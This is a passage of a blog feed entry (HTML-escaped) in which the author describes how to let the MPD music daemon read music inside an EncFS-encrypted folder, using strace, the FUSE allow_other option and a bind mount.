4chan&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- CV (yes, searching a new job at work is OK)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;For encryption, I use &lt;a href="http://www.arg0.net/encfs"&gt;EncFS&lt;/a&gt;, a user-space encrypted filesystem built on &lt;a href="http://fuse.sourceforge.net/"&gt;FUSE&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I wanted to install &lt;a href="http://mpd.wikia.com/wiki/Music_Player_Daemon_Wiki"&gt;MPD&lt;/a&gt;, to be able to play my music when I crash / kill X. Unfortunately, it was not as simple as I imagined, due to multiple permission problems. Here is the scenario:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- encrypted EncFS folder is &lt;b&gt;~/.sec/&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- I mount it on &lt;b&gt;~/sec/&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- music is inside &lt;b&gt;~/sec/music/&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If I try to start mpd (with &lt;b&gt;music_directory&lt;/b&gt; set to&lt;b&gt; /home/rocco/sec/music&lt;/b&gt; in &lt;b&gt;/etc/mpd.conf&lt;/b&gt;):&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;$ sudo mpd /etc/mpd.conf&lt;br /&gt;
failed to stat music directory "/home/rocco/sec/music": Permission denied&lt;br /&gt;
&lt;div&gt;So mpd cannot access the music folder. Fortunately for me, the &lt;a href="https://wiki.archlinux.org/index.php/Mpd#Executable_permissions"&gt;Arch Wiki&lt;/a&gt;&amp;nbsp;has a solution for me: remount the directory to a directory where mpd has access, for example &lt;b&gt;/var/lib/mpd&lt;/b&gt;.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo mkdir /var/lib/mpd/music&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo mount --bind /home/rocco/sec/music/ /var/lib/mpd/music/&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; mount: block device /home/rocco/sec/music/ is write-protected, mounting read-only&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mount: cannot mount block device /home/rocco/sec/music/ read-only&lt;/span&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
Say whaaaat ? A little strace magic gives us:&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; text-align: justify;"&gt;&lt;br /&gt;
[...]&lt;br /&gt;
mount("/home/rocco/sec/music/", "/var/lib/mpd/music/", 0x805371f, MS_MGC_VAL|MS_BIND, NULL) = -1 EACCES (Permission denied)&lt;br /&gt;
[...] &lt;br /&gt;
mount("/home/rocco/sec/music/", "/var/lib/mpd/music/", 0x805371f, MS_MGC_VAL|MS_RDONLY|MS_BIND, NULL) = -1 EACCES (Permission denied)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;So even root cannot mount the music folder... The solution lies in &lt;b&gt;man encfs&lt;/b&gt;:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;blockquote&gt;By&amp;nbsp;default, all FUSE based filesystems are visible only to the user who mounted&amp;nbsp;them. No other users (including root) can view the filesystem contents.&lt;/blockquote&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;We must let FUSE know that we want the filesystem to be accessible to others. Add&amp;nbsp;&lt;b&gt;user_allow_other&amp;nbsp;&lt;/b&gt;in &lt;b&gt;/etc/fuse.conf &lt;/b&gt;and mount your EncFS directory with the option &lt;b&gt;-o allow_other&lt;/b&gt;. The bind mount will then work:&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ encfs -o allow_other ~/.sec/ ~/sec/&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo mount --bind /home/rocco/sec/music/ /var/lib/&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ sudo mpd /etc/mpd.conf&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/174930807143441902-4127791309710143789?l=graland-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://graland-security.blogspot.com/feeds/4127791309710143789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://graland-security.blogspot.com/2010/10/encfs-and-mpd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/4127791309710143789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/174930807143441902/posts/default/4127791309710143789'/><link rel='alternate' type='text/html' href='http://graland-security.blogspot.com/2010/10/encfs-and-mpd.html' title='EncFS and MPD'/><author><name>blind_key</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_w7o23hIBRuI/TGeuJudkphI/AAAAAAAAAAQ/u4QPseT8zvc/s1600-R/background.jpg'/></author><thr:total>0</thr:total></entry></feed>
